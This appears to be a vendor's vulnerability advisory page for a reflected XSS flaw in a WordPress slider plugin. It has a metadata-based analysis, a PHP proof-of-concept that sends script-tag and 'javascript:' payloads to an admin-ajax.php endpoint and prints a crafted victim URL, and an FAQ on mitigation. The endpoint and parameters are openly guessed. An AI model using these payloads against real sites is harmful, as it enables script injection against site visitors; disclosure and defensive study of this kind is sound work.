Atomic Edge analysis of CVE-2026-28101 (metadata-based):
The vulnerability is a reflected cross-site scripting (XSS) flaw in the UberSlider MouseInteraction WordPress plugin. The CWE-79 classification confirms improper neutralization of input during web page generation. The description states insufficient input sanitization and output escaping in versions up to and including 2.3. This allows unauthenticated attackers to inject arbitrary web scripts via crafted links. The CVSS vector (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) indicates network accessibility, low attack complexity, no privileges required, user interaction needed, scope change, and low confidentiality/integrity impact. Atomic Edge research infers the vulnerability likely exists in a public-facing endpoint that echoes user-supplied parameters without proper escaping. Common WordPress patterns suggest this could be an AJAX handler (admin-ajax.php or admin-post.php) or a direct plugin file accessible without authentication. The plugin slug ‘uberSlider_mouseinteraction’ may map to action parameters like ‘uberSlider_mouseinteraction_action’. The fix requires implementing proper input validation using WordPress sanitization functions (sanitize_text_field, esc_attr) and output escaping (esc_html, esc_js). Exploitation requires an attacker to trick a user into clicking a malicious link containing the payload. Successful exploitation allows script execution in the victim’s browser context, potentially leading to session hijacking, content modification, or redirection to malicious sites.
CVE-2026-28101: UberSlider MouseInteraction <= 2.3 – Reflected Cross-Site Scripting (uberSlider_mouseinteraction)
CVE-2026-28101
uberSlider_mouseinteraction
2.3
—
Analysis Overview
Differential between vulnerable and patched code
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28101 - UberSlider MouseInteraction <= 2.3 - Reflected Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2026-28101
* Assumptions based on WordPress plugin patterns:
* 1. The plugin registers an AJAX action without proper nonce or capability checks
* 2. The vulnerable parameter echoes user input without escaping
* 3. The action name likely contains the plugin slug 'uberSlider_mouseinteraction'
* 4. The endpoint is /wp-admin/admin-ajax.php (common for public AJAX handlers)
*/
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
// Common parameter names in WordPress XSS vulnerabilities
$parameters = [
'action' => 'uberSlider_mouseinteraction_action', // Inferred from plugin slug
'id' => '<script>alert(document.domain)</script>', // Classic XSS payload
'slug' => '"><script>alert(1)</script>', // Alternative payload
'callback' => 'javascript:alert(1)', // URI-based XSS
];
// Build query string
$query = http_build_query($parameters);
$full_url = $target_url . '?' . $query;
// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
// Execute request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Check for reflected payload
if (strpos($response, $parameters['id']) !== false || strpos($response, $parameters['slug']) !== false) {
echo "[+] Vulnerability likely present. Payload reflected in response.n";
echo "[+] Crafted URL for victim: $full_urln";
} else {
echo "[-] Payload not reflected. May require different parameters or endpoint.n";
echo "[-] Response code: $http_coden";
}
curl_close($ch);
?>Frequently Asked Questions
What is CVE-2026-28101?
Understanding the vulnerabilityCVE-2026-28101 is a reflected cross-site scripting (XSS) vulnerability in the UberSlider MouseInteraction plugin for WordPress, affecting versions up to and including 2.3. It allows unauthenticated attackers to inject arbitrary scripts into web pages, which can execute if a user is tricked into clicking a malicious link.
How does this vulnerability work?
Mechanism of exploitationThe vulnerability arises from insufficient input sanitization and output escaping in the plugin. Attackers can craft links that include malicious scripts, and if a user clicks on such a link, the scripts can execute in the user’s browser context, potentially leading to session hijacking or redirection.
Who is affected by this vulnerability?
Identifying affected usersAny WordPress site using the UberSlider MouseInteraction plugin version 2.3 or earlier is at risk. Site administrators should check their plugin versions to determine if they are vulnerable.
How can I check if my site is vulnerable?
Steps for verificationTo check for vulnerability, verify the version of the UberSlider MouseInteraction plugin installed on your WordPress site. If it is version 2.3 or lower, your site is potentially vulnerable to CVE-2026-28101.
What is the severity level of this vulnerability?
Understanding the risk classificationCVE-2026-28101 has a medium severity level with a CVSS score of 6.1. This indicates a moderate risk where exploitation requires user interaction, but can lead to significant consequences if successful.
How can I fix or mitigate this issue?
Recommended actionsTo mitigate this vulnerability, update the UberSlider MouseInteraction plugin to the latest version that addresses the issue. Additionally, implement proper input validation and output escaping using WordPress sanitization functions in your code.
What are the potential impacts of exploitation?
Consequences of a successful attackIf exploited, an attacker can execute scripts in the victim’s browser, leading to session hijacking, content modification, or redirection to malicious sites. This can compromise user data and site integrity.
What does the proof of concept demonstrate?
Illustrating the vulnerabilityThe proof of concept illustrates how an attacker can exploit the vulnerability by sending crafted requests to a public-facing endpoint, potentially allowing for script execution. It highlights the lack of proper input sanitization and the ease of triggering the XSS flaw.
What is reflected cross-site scripting?
Defining the attack typeReflected cross-site scripting (XSS) is a type of security vulnerability where an attacker injects malicious scripts into a web page that is reflected back to the user. It typically requires user interaction, such as clicking a link, to execute the script in their browser.
How can I protect my site from similar vulnerabilities?
Best practices for securityTo protect against similar vulnerabilities, regularly update all plugins and themes, use security plugins that scan for vulnerabilities, and implement best practices for input validation and output escaping in your code.
What are the common patterns for XSS vulnerabilities in WordPress?
Identifying risk factorsCommon patterns include improper handling of user input in AJAX requests or direct plugin file access without authentication. Ensuring proper nonce checks and escaping user input can mitigate these risks.
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